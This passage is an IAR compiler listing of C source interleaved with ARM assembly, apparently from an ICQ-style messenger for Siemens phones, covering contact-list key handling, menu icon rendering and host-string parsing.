DC8 +2,+15,+29,+41 \ 00000560 374D5C6F DC8 +55,+77,+92,+111 \ 00000564 75000000 DC8 +117,+0,+0,+0 3073 { 3074 case '1': 3075 Is_Sounds_Enabled=!(Is_Sounds_Enabled); \ ??contactlist_menu_onkey_45: \ 00000568 BC0295E5 LDR R0,[R5, #+700] \ 0000056C 000050E3 CMP R0,#+0 \ 00000570 0040A013 MOVNE R4,#+0 \ 00000574 BC4285E5 STR R4,[R5, #+700] 3076 // if(isShowMsgLongPress) 3077 // { 3078 if(Is_Sounds_Enabled) \ 00000578 000054E3 CMP R4,#+0 3079 ShowMSG(1,(int)"Sound 0n"); \ 0000057C D21F8712 ADDNE R1,R7,#+840 3080 else 3081 ShowMSG(1,(int)"Sound Off"); \ 00000580 CF1F8702 ADDEQ R1,R7,#+828 \ 00000584 0100A0E3 MOV R0,#+1 \ 00000588 480100EF SWI +328 3082 // } 3083 SUBPROC((void*)WriteDefSettings); \ 0000058C 0800A0E1 MOV R0,R8 \ 00000590 710100EF SWI +369 3084 RefreshGUI(); \ 00000594 960100EF SWI +406 \ 00000598 740000EA B ??contactlist_menu_onkey_44 3085 break; 3086 case '2': 3087 Is_Vibra_Enabled=!(Is_Vibra_Enabled); \ ??contactlist_menu_onkey_46: \ 0000059C 700295E5 LDR R0,[R5, #+624] \ 000005A0 000050E3 CMP R0,#+0 \ 000005A4 0040A013 MOVNE R4,#+0 \ 000005A8 704285E5 STR R4,[R5, #+624] 3088 SUBPROC((void*)WriteDefSettings); \ 000005AC 0800A0E1 MOV R0,R8 \ 000005B0 710100EF SWI +369 3089 RefreshGUI(); \ 000005B4 960100EF SWI +406 3090 // if(isShowMsgLongPress) 3091 // { 3092 if(Is_Vibra_Enabled) \ 000005B8 700295E5 LDR R0,[R5, #+624] \ 000005BC 000050E3 CMP R0,#+0 \ 000005C0 C91F8702 ADDEQ R1,R7,#+804 3093 ShowMSG(1,(int)"Vibra On"); \ 000005C4 CC1F8712 ADDNE R1,R7,#+816 \ ??contactlist_menu_onkey_47: \ 000005C8 0100A0E3 MOV R0,#+1 \ ??contactlist_menu_onkey_48: \ 000005CC 480100EF SWI +328 \ 000005D0 660000EA B ??contactlist_menu_onkey_44 3094 else 3095 ShowMSG(1,(int)"Vibra Off"); 3096 // } 3097 break; 3098 case '3': 3099 if(CurrentPrivateStatus!=1) \ ??contactlist_menu_onkey_49: \ 000005D4 CC0295E5 LDR R0,[R5, #+716] \ 000005D8 010050E3 CMP R0,#+1 \ 000005DC 0400000A BEQ ??contactlist_menu_onkey_50 3100 { 3101 SetPrivateStatus(1);//Инвиз \ 000005E0 0100A0E3 MOV R0,#+1 \ 000005E4 ........ _BLF SetPrivateStatus,??SetPrivateStatus??rA 3102 // if(isShowMsgLongPress) 3103 ShowMSG(1,(int)"Инвиз включен"); \ 000005E8 C51F87E2 ADD R1,R7,#+788 \ 000005EC 0400A0E1 MOV R0,R4 \ ??contactlist_menu_onkey_51: \ 000005F0 F5FFFFEA B ??contactlist_menu_onkey_48 3104 } 3105 else 3106 { 3107 SetPrivateStatus(3);//не инвиз:) \ ??contactlist_menu_onkey_50: \ 000005F4 0300A0E3 MOV R0,#+3 \ 000005F8 ........ _BLF SetPrivateStatus,??SetPrivateStatus??rA 3108 // if(isShowMsgLongPress) 3109 ShowMSG(1,(int)"Инвиз выключен"); \ 000005FC C11F87E2 ADD R1,R7,#+772 \ 00000600 F0FFFFEA B ??contactlist_menu_onkey_47 3110 } 3111 break; 3112 case '4': 3113 Is_Double_Vibra_On=!(Is_Double_Vibra_On); \ ??contactlist_menu_onkey_52: \ 00000604 5C0295E5 LDR R0,[R5, #+604] \ 00000608 000050E3 CMP R0,#+0 \ 0000060C 0040A013 MOVNE R4,#+0 \ 00000610 5C4285E5 STR R4,[R5, #+604] 3114 SUBPROC((void*)WriteDefSettings); \ 00000614 0800A0E1 MOV R0,R8 \ 00000618 710100EF SWI +369 3115 RefreshGUI(); \ 0000061C 960100EF SWI +406 3116 // if(isShowMsgLongPress) 3117 // { 3118 if(Is_Double_Vibra_On) \ 00000620 5C0295E5 LDR R0,[R5, #+604] \ 00000624 000050E3 CMP R0,#+0 3119 ShowMSG(1,(int)"Vibra rem On"); \ 00000628 BD1F8712 ADDNE R1,R7,#+756 \ 0000062C 0100A013 MOVNE R0,#+1 \ 00000630 E5FFFF1A BNE ??contactlist_menu_onkey_48 3120 else 3121 ShowMSG(1,(int)"Vibra rem Off"); \ 00000634 B91F87E2 ADD R1,R7,#+740 \ 00000638 E2FFFFEA B ??contactlist_menu_onkey_47 3122 // } 3123 break; 3124 case '5': 3125 { 3126 CLIST *cl; 3127 cl=(CLIST *)(&cltop); \ ??contactlist_menu_onkey_53: \ 0000063C C44F85E2 ADD R4,R5,#+784 \ 00000640 060000EA B ??contactlist_menu_onkey_54 3128 while(cl=(CLIST *)(cl->next)) 3129 { 3130 if(cl->log) \ ??contactlist_menu_onkey_55: \ 00000644 8C0094E5 LDR R0,[R4, #+140] \ 00000648 000050E3 CMP R0,#+0 \ 0000064C 0300000A BEQ ??contactlist_menu_onkey_54 3131 { 3132 FreeLOGQ(&cl->log); \ 00000650 8C0084E2 ADD R0,R4,#+140 \ 00000654 ........ BL FreeLOGQ 3133 cl->msg_count=0; \ 00000658 9C9084E5 STR R9,[R4, #+156] 3134 cl->isactive=0; \ 0000065C 989084E5 STR R9,[R4, #+152] 3135 } 3136 } \ ??contactlist_menu_onkey_54: \ 00000660 004094E5 LDR R4,[R4, #+0] \ 00000664 000054E3 CMP R4,#+0 \ 00000668 F5FFFF1A BNE ??contactlist_menu_onkey_55 3137 3138 if(strlen(ContactT9Key)) \ 0000066C 050086E0 ADD R0,R6,R5 \ 00000670 1B0000EF SWI +27 \ 00000674 000050E3 CMP R0,#+0 \ 00000678 0200000A BEQ ??contactlist_menu_onkey_56 3139 ClearContactT9Key(); \ 0000067C 2010A0E3 MOV R1,#+32 \ 00000680 050086E0 ADD R0,R6,R5 \ 00000684 1D0100EF SWI +285 3140 // t->isactive=0; 3141 RecountMenu(NULL,1); \ ??contactlist_menu_onkey_56: \ 00000688 0110A0E3 MOV R1,#+1 \ 0000068C 0000A0E3 MOV R0,#+0 \ 00000690 1D0000EA B ??contactlist_menu_onkey_10 3142 return (-1); 3143 } 3144 case '6': 3145 if(!away_m) \ ??contactlist_menu_onkey_57: \ 00000694 840295E5 LDR R0,[R5, #+644] \ 00000698 000050E3 CMP R0,#+0 \ 0000069C 0700001A BNE ??contactlist_menu_onkey_58 3146 { 3147 away_m=!away_m; \ 000006A0 844285E5 STR R4,[R5, #+644] 3148 GBS_StopTimer(&away_tmr); \ 000006A4 04009DE5 LDR R0,[SP, #+4] \ 000006A8 440100EF SWI +324 3149 msg_away_timer=AUTO_ENGADE; \ 000006AC 140195E5 LDR R0,[R5, #+276] \ 000006B0 800285E5 STR R0,[R5, #+640] 3150 away_timer(); \ 000006B4 ........ BL away_timer 3151 // ShowMSG(1,(int)"Автоответчик включен!"); 3152 InputAwayMsg(); \ 000006B8 ........ BL InputAwayMsg \ 000006BC 010000EA B ??contactlist_menu_onkey_59 3153 } 3154 else 3155 { 3156 msg_away_timer=0; \ ??contactlist_menu_onkey_58: \ 000006C0 809285E5 STR R9,[R5, #+640] 3157 away_m=!away_m; \ 000006C4 849285E5 STR R9,[R5, #+644] 3158 // ShowMSG(1,(int)"Автоответчик выключен!"); 3159 } 3160 UpdateCLheader(); \ ??contactlist_menu_onkey_59: \ 000006C8 ........ BL UpdateCLheader \ 000006CC 270000EA B ??contactlist_menu_onkey_44 3161 break; 3162 case '7': 3163 { 3164 Show_XTX=!(Show_XTX); \ ??contactlist_menu_onkey_60: \ 000006D0 900295E5 LDR R0,[R5, #+656] \ 000006D4 000050E3 CMP R0,#+0 \ 000006D8 0040A013 MOVNE R4,#+0 \ 000006DC 904285E5 STR R4,[R5, #+656] 3165 // if(isShowMsgLongPress) 3166 // { 3167 if(Show_XTX) \ 000006E0 000054E3 CMP R4,#+0 3168 ShowMSG(1,(int)"Show x-status"); \ 000006E4 08109D15 LDRNE R1,[SP, #+8] 3169 else 3170 ShowMSG(1,(int)"Show time"); \ 000006E8 0100A0E3 MOV R0,#+1 \ 000006EC 0C109D05 LDREQ R1,[SP, #+12] \ 000006F0 480100EF SWI +328 3171 //} 3172 } 3173 ClearContactT9Key(); \ 000006F4 2010A0E3 MOV R1,#+32 \ 000006F8 050086E0 ADD R0,R6,R5 \ 000006FC 1D0100EF SWI +285 3174 UpdateCLheader(); \ 00000700 ........ BL UpdateCLheader 3175 RecountMenu(t,1); \ ??contactlist_menu_onkey_5: \ 00000704 0110A0E3 MOV R1,#+1 \ 00000708 0A00A0E1 MOV R0,R10 \ ??contactlist_menu_onkey_10: \ 0000070C ........ BL RecountMenu 3176 return -1; \ ??contactlist_menu_onkey_2: \ 00000710 0900E0E1 MVN R0,R9 \ ??contactlist_menu_onkey_15: \ 00000714 14D08DE2 ADD SP,SP,#+20 \ 00000718 F08FBDE8 POP {R4-R11,PC} 3177 case '8': 3178 { 3179 WSHDR *ws; 3180 ws=AllocWS(150); \ ??contactlist_menu_onkey_61: \ 0000071C 9600A0E3 MOV R0,#+150 \ 00000720 250100EF SWI +293 \ 00000724 0040A0E1 MOV R4,R0 3181 str_2ws(ws,suc_config_name,128); \ 00000728 8020A0E3 MOV R2,#+128 \ 0000072C AC00A0E3 MOV R0,#+172 \ 00000730 040000EA B ??contactlist_menu_onkey_62 3182 ExecuteFile(ws,0,0); 3183 FreeWS(ws); 3184 } 3185 break; 3186 case '9': 3187 { 3188 3189 WSHDR *ws; 3190 ws=AllocWS(150); \ ??contactlist_menu_onkey_63: \ 00000734 9600A0E3 MOV R0,#+150 \ 00000738 250100EF SWI +293 \ 0000073C 0040A0E1 MOV R4,R0 3191 str_2ws(ws,suc_config_name_mod,128); \ 00000740 8020A0E3 MOV R2,#+128 \ 00000744 EC00A0E3 MOV R0,#+236 \ ??contactlist_menu_onkey_62: \ 00000748 E00E80E3 ORR R0,R0,#0xE00 \ 0000074C 051080E0 ADD R1,R0,R5 \ 00000750 0400A0E1 MOV R0,R4 \ 00000754 6C0100EF SWI +364 3192 ExecuteFile(ws,0,0); \ 00000758 0020A0E3 MOV R2,#+0 \ 0000075C 0210A0E1 MOV R1,R2 \ 00000760 0400A0E1 MOV R0,R4 \ 00000764 940000EF SWI +148 3193 FreeWS(ws); \ 00000768 0400A0E1 MOV R0,R4 \ 0000076C 290100EF SWI +297 3194 } 3195 break; 3196 } 3197 3198 int key=msg->gbsmsg->submess; \ ??contactlist_menu_onkey_44: \ 00000770 10009DE5 LDR R0,[SP, #+16] \ 00000774 040090E5 LDR R0,[R0, #+4] \ 00000778 080090E5 LDR R0,[R0, #+8] 3199 if ((key>='0')&&(key<='9')) \ 0000077C 300050E3 CMP R0,#+48 \ 00000780 080000BA BLT ??contactlist_menu_onkey_39 \ 00000784 3A0050E3 CMP R0,#+58 \ 00000788 060000AA BGE ??contactlist_menu_onkey_39 3200 { 3201 ClearContactT9Key(); \ 0000078C 2010A0E3 MOV R1,#+32 \ 00000790 050086E0 ADD R0,R6,R5 \ 00000794 1D0100EF SWI +285 3202 UpdateCLheader(); \ 00000798 ........ BL UpdateCLheader 3203 RecountMenu(NULL,1); \ 0000079C 0110A0E3 MOV R1,#+1 \ 000007A0 0000A0E3 MOV R0,#+0 \ 000007A4 ........ BL RecountMenu 3204 } 3205 } 3206 return(0); \ ??contactlist_menu_onkey_39: \ 000007A8 0000A0E3 MOV R0,#+0 \ 000007AC 14D08DE2 ADD SP,SP,#+20 \ 000007B0 F08FBDE8 POP {R4-R11,PC} ;; return \ ??contactlist_menu_onkey_43: \ 000007B4 ........ DC32 WriteDefSettings 3207 } 3208 \ In segment CODE, align 4, keep-with-next 3209 void GetOnTotalContact(int group_id,int *_onlinetotal) 3210 { 3211 CLIST *t; 3212 t=(CLIST *)&cltop; \ GetOnTotalContact: \ 00000000 ........ LDR R2,??DataTable61 ;; S_ICONS + 784 \ 00000004 30002DE9 PUSH {R4,R5} 3213 int online=0,total=0; \ 00000008 0030A0E3 MOV R3,#+0 \ 0000000C 00C0A0E3 MOV R12,#+0 \ 00000010 FF50A0E3 MOV R5,#+255 \ 00000014 FF5C85E3 ORR R5,R5,#0xFF00 \ 00000018 080000EA B ??GetOnTotalContact_0 3214 while((t=t->next)) 3215 { 3216 if(t->group==group_id && !t->isgroup) \ ??GetOnTotalContact_1: \ 0000001C 104092E5 LDR R4,[R2, #+16] \ 00000020 000054E1 CMP R4,R0 \ 00000024 08409205 LDREQ R4,[R2, #+8] \ 00000028 00005403 CMPEQ R4,#+0 \ 0000002C 0300001A BNE ??GetOnTotalContact_0 3217 { 3218 total++; 3219 if (t->state!=0xFFFF) online++; \ 00000030 B445D2E1 LDRH R4,[R2, #+84] \ 00000034 01C08CE2 ADD R12,R12,#+1 \ 00000038 050054E1 CMP R4,R5 \ 0000003C 01308312 ADDNE R3,R3,#+1 3220 } 3221 } \ ??GetOnTotalContact_0: \ 00000040 002092E5 LDR R2,[R2, #+0] \ 00000044 000052E3 CMP R2,#+0 \ 00000048 F3FFFF1A BNE ??GetOnTotalContact_1 3222 _onlinetotal[0]=online; \ 0000004C 003081E5 STR R3,[R1, #+0] 3223 _onlinetotal[1]=total; \ 00000050 04C081E5 STR R12,[R1, #+4] 3224 } \ 00000054 3000BDE8 POP {R4,R5} \ 00000058 1EFF2FE1 BX LR ;; return 3225 3226 \ In segment CODE, align 4, keep-with-next 3227 void contactlist_menu_iconhndl(void *data, int curitem, void *unk) 3228 { \ contactlist_menu_iconhndl: \ 00000000 F24F2DE9 PUSH {R1,R4-R11,LR} \ 00000004 9CDF4DE2 SUB SP,SP,#+624 3229 CLIST *t; 3230 #ifdef USE_MLMENU 3231 void *item=AllocMLMenuItem(data); 3232 #else 3233 void *item=AllocMenuItem(data); 3234 #endif 3235 int icon; 3236 3237 WSHDR *ws2; 3238 #ifdef USE_MLMENU 3239 WSHDR *ws4; 3240 #endif 3241 WSHDR ws1loc, *ws1; 3242 unsigned short num[128]; 3243 ws1=CreateLocalWS(&ws1loc,num,128); 3244 #ifdef USE_MLMENU 3245 WSHDR ws3loc, *ws3; 3246 unsigned short num3[128]; 3247 ws3=CreateLocalWS(&ws3loc,num3,128); 3248 char s[64]; 3249 #endif 3250 t=FindContactByN(curitem); 3251 if (t) \ 00000008 ........ LDR R10,??DataTable62 ;; `?` \ 0000000C 0040A0E1 MOV R4,R0 \ 00000010 190200EF SWI +537 \ 00000014 0050A0E1 MOV R5,R0 \ 00000018 8020A0E3 MOV R2,#+128 \ 0000001C 08108DE2 ADD R1,SP,#+8 \ 00000020 920F8DE2 ADD R0,SP,#+584 \ 00000024 270100EF SWI +295 \ 00000028 0060A0E1 MOV R6,R0 \ 0000002C 8020A0E3 MOV R2,#+128 \ 00000030 421F8DE2 ADD R1,SP,#+264 \ 00000034 970F8DE2 ADD R0,SP,#+604 \ 00000038 270100EF SWI +295 \ 0000003C 0070A0E1 MOV R7,R0 \ 00000040 70029DE5 LDR R0,[SP, #+624] \ 00000044 ........ _BLF FindContactByN,??FindContactByN??rA \ 00000048 0080B0E1 MOVS R8,R0 \ 0000004C 7300000A BEQ ??contactlist_menu_iconhndl_0 3252 { 3253 icon=GetIconIndex(t); \ 00000050 ........ BL GetIconIndex \ 00000054 0090A0E1 MOV R9,R0 3254 if (icon!=IS_GROUP) \ 00000058 0F0059E3 CMP R9,#+15 \ 0000005C 5E00000A BEQ ??contactlist_menu_iconhndl_1 3255 { 3256 if(t->just_now) \ 00000060 6C0098E5 LDR R0,[R8, #+108] \ 00000064 000050E3 CMP R0,#+0 \ 00000068 0C00000A BEQ ??contactlist_menu_iconhndl_2 3257 { 3258 char *test=malloc(64); \ 0000006C 4000A0E3 MOV R0,#+64 \ 00000070 140000EF SWI +20 \ 00000074 00B0A0E1 MOV R11,R0 3259 sprintf(test, ">> %s <<", t->name); \ 00000078 142088E2 ADD R2,R8,#+20 \ 0000007C B61F8AE2 ADD R1,R10,#+728 \ 00000080 160000EF SWI +22 3260 wsprintf(ws1,percent_t,test); \ 00000084 0B20A0E1 MOV R2,R11 \ 00000088 20108AE2 ADD R1,R10,#+32 \ 0000008C 0600A0E1 MOV R0,R6 \ 00000090 240100EF SWI +292 3261 mfree(test); \ 00000094 0B00A0E1 MOV R0,R11 \ 00000098 150000EF SWI +21 \ 0000009C 030000EA B ??contactlist_menu_iconhndl_3 3262 } 3263 else 3264 wsprintf(ws1,percent_t,t->name); \ ??contactlist_menu_iconhndl_2: \ 000000A0 142088E2 ADD R2,R8,#+20 \ 000000A4 20108AE2 ADD R1,R10,#+32 \ 000000A8 0600A0E1 MOV R0,R6 \ 000000AC 240100EF SWI +292 3265 if (t->just_now) \ ??contactlist_menu_iconhndl_3: \ 000000B0 6C0098E5 LDR R0,[R8, #+108] \ 000000B4 08B0A0E3 MOV R11,#+8 \ 000000B8 E0BC8BE3 ORR R11,R11,#0xE000 \ 000000BC 000050E3 CMP R0,#+0 3266 { 3267 wsInsertChar(ws1,0x0004,1); \ 000000C0 0120A013 MOVNE R2,#+1 \ 000000C4 0410A013 MOVNE R1,#+4 \ 000000C8 0400001A BNE ??contactlist_menu_iconhndl_4 3268 wsInsertChar(ws1,0xE008,1); 3269 } 3270 else 3271 if (t->isactive) \ 000000CC 980098E5 LDR R0,[R8, #+152] \ 000000D0 000050E3 CMP R0,#+0 \ 000000D4 0700000A BEQ ??contactlist_menu_iconhndl_5 3272 { 3273 wsInsertChar(ws1,0x0002,1); \ 000000D8 0120A0E3 MOV R2,#+1 \ 000000DC 0210A0E3 MOV R1,#+2 \ ??contactlist_menu_iconhndl_4: \ 000000E0 0600A0E1 MOV R0,R6 \ 000000E4 1D0000EF SWI +29 3274 wsInsertChar(ws1,0xE008,1); \ 000000E8 0120A0E3 MOV R2,#+1 \ 000000EC 0B10A0E1 MOV R1,R11 \ 000000F0 0600A0E1 MOV R0,R6 \ 000000F4 1D0000EF SWI +29 3275 } 3276 #ifdef USE_MLMENU 3277 if ((t->xtext && t->xtext[0]!=0) && /* (Show_XTX) || */(t->isShowXst) && (t->state!=0xFFFF))//Если контакт онлайн и показывать хстатус \ ??contactlist_menu_iconhndl_5: \ 000000F8 A00098E5 LDR R0,[R8, #+160] \ 000000FC 0AB08BE2 ADD R11,R11,#+10 \ 00000100 000050E3 CMP R0,#+0 \ 00000104 0000D015 LDRBNE R0,[R0, #+0] \ 00000108 00005013 CMPNE R0,#+0 \ 0000010C 70009815 LDRNE R0,[R8, #+112] \ 00000110 00005013 CMPNE R0,#+0 \ 00000114 1400000A BEQ ??contactlist_menu_iconhndl_6 \ 00000118 B405D8E1 LDRH R0,[R8, #+84] \ 0000011C FF10A0E3 MOV R1,#+255 \ 00000120 FF1C81E3 ORR R1,R1,#0xFF00 \ 00000124 010050E1 CMP R0,R1 \ 00000128 0F00000A BEQ ??contactlist_menu_iconhndl_6 3278 { 3279 int i; 3280 zeromem(s,64); \ 0000012C 4010A0E3 MOV R1,#+64 \ 00000130 820F8DE2 ADD R0,SP,#+520 \ 00000134 1D0100EF SWI +285 3281 i=t->xtext[0]; \ 00000138 A00098E5 LDR R0,[R8, #+160] \ ??contactlist_menu_iconhndl_7: \ 0000013C 0020D0E5 LDRB R2,[R0, #+0] 3282 if (i>63) i=63; 3283 strncpy(s,t->xtext+1,i); \ 00000140 011080E2 ADD R1,R0,#+1 \ 00000144 820F8DE2 ADD R0,SP,#+520 \ 00000148 400052E3 CMP R2,#+64 \ 0000014C 3F20A0A3 MOVGE R2,#+63 \ 00000150 160100EF SWI +278 3284 wsprintf(ws3,"%c%t",0xE012,s); \ 00000154 823F8DE2 ADD R3,SP,#+520 \ 00000158 0B20A0E1 MOV R2,R11 \ 0000015C B41F8AE2 ADD R1,R10,#+720 \ 00000160 0700A0E1 MOV R0,R7 \ 00000164 240100EF SWI +292 \ 00000168 0D0000EA B ??contactlist_menu_iconhndl_8 3285 } 3286 else 3287 if(t->xtext2 && t->xtext2[0]!=0) \ ??contactlist_menu_iconhndl_6: \ 0000016C A40098E5 LDR R0,[R8, #+164] \ 00000170 000050E3 CMP R0,#+0 \ 00000174 0000D015 LDRBNE R0,[R0, #+0] \ 00000178 00005013 CMPNE R0,#+0 \ 0000017C 0400000A BEQ ??contactlist_menu_iconhndl_9 3288 { 3289 int i; 3290 zeromem(s,64); \ 00000180 4010A0E3 MOV R1,#+64 \ 00000184 820F8DE2 ADD R0,SP,#+520 \ 00000188 1D0100EF SWI +285 3291 i=t->xtext2[0]; \ 0000018C A40098E5 LDR R0,[R8, #+164] \ 00000190 E9FFFFEA B ??contactlist_menu_iconhndl_7 3292 if (i>63) i=63; 3293 strncpy(s,t->xtext2+1,i); 3294 wsprintf(ws3,"%c%t",0xE012,s); 3295 } 3296 else 3297 wsprintf(ws3,percent_d,t->uin); \ ??contactlist_menu_iconhndl_9: \ 00000194 0C2098E5 LDR R2,[R8, #+12] \ 00000198 23108AE2 ADD R1,R10,#+35 \ 0000019C 0700A0E1 MOV R0,R7 \ 000001A0 240100EF SWI +292 3298 if ((t->xstatexstate)) \ ??contactlist_menu_iconhndl_8: \ 000001A4 B605D8E1 LDRH R0,[R8, #+86] \ 000001A8 ........ LDR R2,??DataTable63 ;; total_xstatuses \ 000001AC 0010A0E1 MOV R1,R0 \ 000001B0 002092E5 LDR R2,[R2, #+0] \ 000001B4 020051E1 CMP R1,R2 \ 000001B8 1B0000AA BGE ??contactlist_menu_iconhndl_10 \ 000001BC 000050E3 CMP R0,#+0 \ 000001C0 1900000A BEQ ??contactlist_menu_iconhndl_10 3299 { 3300 wsInsertChar(ws3,FIRST_UCS2_BITMAP+t->xstate,1); \ 000001C4 0120A0E3 MOV R2,#+1 \ 000001C8 460F8BE2 ADD R0,R11,#+280 \ 000001CC 011080E0 ADD R1,R0,R1 \ 000001D0 0700A0E1 MOV R0,R7 \ 000001D4 1D0000EF SWI +29 \ 000001D8 130000EA B ??contactlist_menu_iconhndl_10 3301 } 3302 #endif 3303 } 3304 else 3305 { 3306 int onlinetotal[2]; 3307 GetOnTotalContact(t->group,onlinetotal); \ ??contactlist_menu_iconhndl_1: \ 000001DC 100098E5 LDR R0,[R8, #+16] \ 000001E0 0D10A0E1 MOV R1,SP \ 000001E4 ........ BL GetOnTotalContact 3308 #ifdef USE_MLMENU 3309 wsprintf(ws1,percent_t,t->name); \ 000001E8 142088E2 ADD R2,R8,#+20 \ 000001EC 20108AE2 ADD R1,R10,#+32 \ 000001F0 0600A0E1 MOV R0,R6 \ 000001F4 240100EF SWI +292 3310 wsprintf(ws3,"(%d/%d)",onlinetotal[0],onlinetotal[1]); \ 000001F8 04309DE5 LDR R3,[SP, #+4] \ 000001FC 00209DE5 LDR R2,[SP, #+0] \ 00000200 B21F8AE2 ADD R1,R10,#+712 \ 00000204 0700A0E1 MOV R0,R7 \ 00000208 240100EF SWI +292 3311 #else 3312 wsprintf(ws1,"%t%c%c(%d/%d)",t->name,0xE01D,0xE012,onlinetotal[0],onlinetotal[1]); 3313 #endif 3314 if (t->state) icon++; //Модификация иконки группы \ 0000020C B405D8E1 LDRH R0,[R8, #+84] \ 00000210 000050E3 CMP R0,#+0 \ 00000214 0400000A BEQ ??contactlist_menu_iconhndl_10 \ 00000218 019089E2 ADD R9,R9,#+1 \ 0000021C 020000EA B ??contactlist_menu_iconhndl_10 3315 } 3316 } 3317 else 3318 { 3319 wsprintf(ws1, LG_CLERROR); \ ??contactlist_menu_iconhndl_0: \ 00000220 B01F8AE2 ADD R1,R10,#+704 \ 00000224 0600A0E1 MOV R0,R6 \ 00000228 240100EF SWI +292 3320 } 3321 ws2=AllocMenuWS(data,ws1->wsbody[0]); \ ??contactlist_menu_iconhndl_10: \ 0000022C 000096E5 LDR R0,[R6, #+0] \ 00000230 B010D0E1 LDRH R1,[R0, #+0] \ 00000234 0400A0E1 MOV R0,R4 \ 00000238 980100EF SWI +408 \ 0000023C 0080A0E1 MOV R8,R0 3322 wstrcpy(ws2,ws1); \ 00000240 0610A0E1 MOV R1,R6 \ 00000244 1F0100EF SWI +287 3323 3324 SetMenuItemIconArray(data, item, S_ICONS+icon); \ 00000248 ........ LDR R0,??DataTable64 ;; S_ICONS \ 0000024C 0510A0E1 MOV R1,R5 \ 00000250 092180E0 ADD R2,R0,R9, LSL #+2 \ 00000254 0400A0E1 MOV R0,R4 \ 00000258 990100EF SWI +409 3325 #ifdef USE_MLMENU 3326 ws4=AllocMenuWS(data,ws3->wsbody[0]); \ 0000025C 000097E5 LDR R0,[R7, #+0] \ 00000260 B010D0E1 LDRH R1,[R0, #+0] \ 00000264 0400A0E1 MOV R0,R4 \ 00000268 980100EF SWI +408 \ 0000026C 0060A0E1 MOV R6,R0 3327 wstrcpy(ws4,ws3); \ 00000270 0710A0E1 MOV R1,R7 \ 00000274 1F0100EF SWI +287 3328 SetMLMenuItemText(data, item, ws2, ws4, curitem); \ 00000278 70029DE5 LDR R0,[SP, #+624] \ 0000027C 0630A0E1 MOV R3,R6 \ 00000280 01002DE9 PUSH {R0} \ 00000284 0820A0E1 MOV R2,R8 \ 00000288 0510A0E1 MOV R1,R5 \ 0000028C 0400A0E1 MOV R0,R4 \ 00000290 180200EF SWI +536 3329 #else 3330 SetMenuItemText(data, item, ws2, curitem); 3331 #endif 3332 } \ 00000294 9EDF8DE2 ADD SP,SP,#+632 \ 00000298 F08FBDE8 POP {R4-R11,PC} ;; return 3333 3334 //=============================================================================================== 3335 3336 int DNR_ID=0; 3337 int DNR_TRIES=3; 3338 3339 char hostname[128]; //2058 che toka 128? :) 3340 3341 int host_counter = 0; 3342 3343 //--------------------------------------------------------------------------- \ In segment CODE, align 4, keep-with-next 3344 const char *GetHost(int cnt, const char *str, char *buf) 3345 { 3346 const char *tmp = str, *begin, *end; \ GetHost: \ 00000000 0130A0E1 MOV R3,R1 3347 if(cnt) \ 00000004 000050E3 CMP R0,#+0 \ 00000008 0100001A BNE ??GetHost_0 \ 0000000C 180000EA B ??GetHost_1 3348 { 3349 for(;cnt;cnt--) 3350 { 3351 for(;*str!=';' && *str!=' ' && *str!='\x0D' && *str!='\x0A' && *str; str++); \ ??GetHost_2: \ 00000010 011081E2 ADD R1,R1,#+1 \ ??GetHost_0: \ 00000014 00C0D1E5 LDRB R12,[R1, #+0] \ 00000018 3B005CE3 CMP R12,#+59 \ 0000001C 20005C13 CMPNE R12,#+32 \ 00000020 0D005C13 CMPNE R12,#+13 \ 00000024 0A005C13 CMPNE R12,#+10 \ 00000028 00005C13 CMPNE R12,#+0 \ 0000002C F7FFFF1A BNE ??GetHost_2 3352 if(!*str) str = tmp; \ 00000030 00005CE3 CMP R12,#+0 \ 00000034 0200001A BNE ??GetHost_3 \ 00000038 0310A0E1 MOV R1,R3 \ 0000003C 000000EA B ??GetHost_3 3353 for(;(*str==';' || *str==' ' || *str=='\x0D' || *str=='\x0A') && *str; str++); \ ??GetHost_4: \ 00000040 011081E2 ADD R1,R1,#+1 \ ??GetHost_3: \ 00000044 00C0D1E5 LDRB R12,[R1, #+0] \ 00000048 3B005CE3 CMP R12,#+59 \ 0000004C 20005C13 CMPNE R12,#+32 \ 00000050 0D005C13 CMPNE R12,#+13 \ 00000054 0A005C13 CMPNE R12,#+10 \ 00000058 0100001A BNE ??GetHost_5 \ 0000005C 00005CE3 CMP R12,#+0 \ 00000060 F6FFFF1A BNE ??GetHost_4 3354 if(!*str) str = tmp; \ ??GetHost_5: \ 00000064 00005CE3 CMP R12,#+0 \ 00000068 0310A001 MOVEQ R1,R3 3355 } \ 0000006C 010050E2 SUBS R0,R0,#+1 \ 00000070 E7FFFF1A BNE ??GetHost_0 3356 } 3357 tmp = buf; \ ??GetHost_1: \ 00000074 0200A0E1 MOV R0,R2 3358 begin = str; \ 00000078 0130A0E1 MOV R3,R1 \ 0000007C 000000EA B ??GetHost_6 3359 for(;*str!=';' && *str!=':' && *str!=' ' && *str!='\x0D' && *str!='\x0A' && *str; str++); \ ??GetHost_7: \ 00000080 011081E2 ADD R1,R1,#+1 \ ??GetHost_6: \ 00000084 00C0D1E5 LDRB R12,[R1, #+0] \ 00000088 3B005CE3 CMP R12,#+59 \ 0000008C 3A005C13 CMPNE R12,#+58 \ 00000090 20005C13 CMPNE R12,#+32 \ 00000094 0D005C13 CMPNE R12,#+13 \ 00000098 0A005C13 CMPNE R12,#+10 \ 0000009C 00005C13 CMPNE R12,#+0 \ 000000A0 F6FFFF1A BNE ??GetHost_7 3360 end = str; 3361 for(;begin0x2F && attr[k]<0x3A) {ret=ret*10+attr[k]-0x30;} else { if ( attr[k]=='-') {neg=-1;} else {return(ret*neg);}} \ ??atoi_1: \ 00000014 04C0A0E1 MOV R12,R4 \ 00000018 3A005CE3 CMP R12,#+58 \ 0000001C 0600002A BCS ??atoi_2 \ 00000020 0A40A0E3 MOV R4,#+10 \ 00000024 94C121E0 MLA R1,R4,R1,R12 \ 00000028 301041E2 SUB R1,R1,#+48 \ ??atoi_3: \ 0000002C 013083E2 ADD R3,R3,#+1 \ ??atoi_0: \ 00000030 0040D3E7 LDRB R4,[R3, +R0] \ 00000034 300054E3 CMP R4,#+48 \ 00000038 F5FFFF2A BCS ??atoi_1 \ ??atoi_2: \ 0000003C 2D0054E3 CMP R4,#+45 \ 00000040 0020E003 MVNEQ R2,#+0 \ 00000044 F8FFFF0A BEQ ??atoi_3 \ 00000048 1000BDE8 POP {R4} \ 0000004C 920100E0 MUL R0,R2,R1 \ 00000050 1EFF2FE1 BX LR ;; return 3373 } 3374 } 3375 //--------------------------------------------------------------------------- \ In segment CODE, align 4, keep-with-next 3376 int GetPort(int cnt, const char *str) 3377 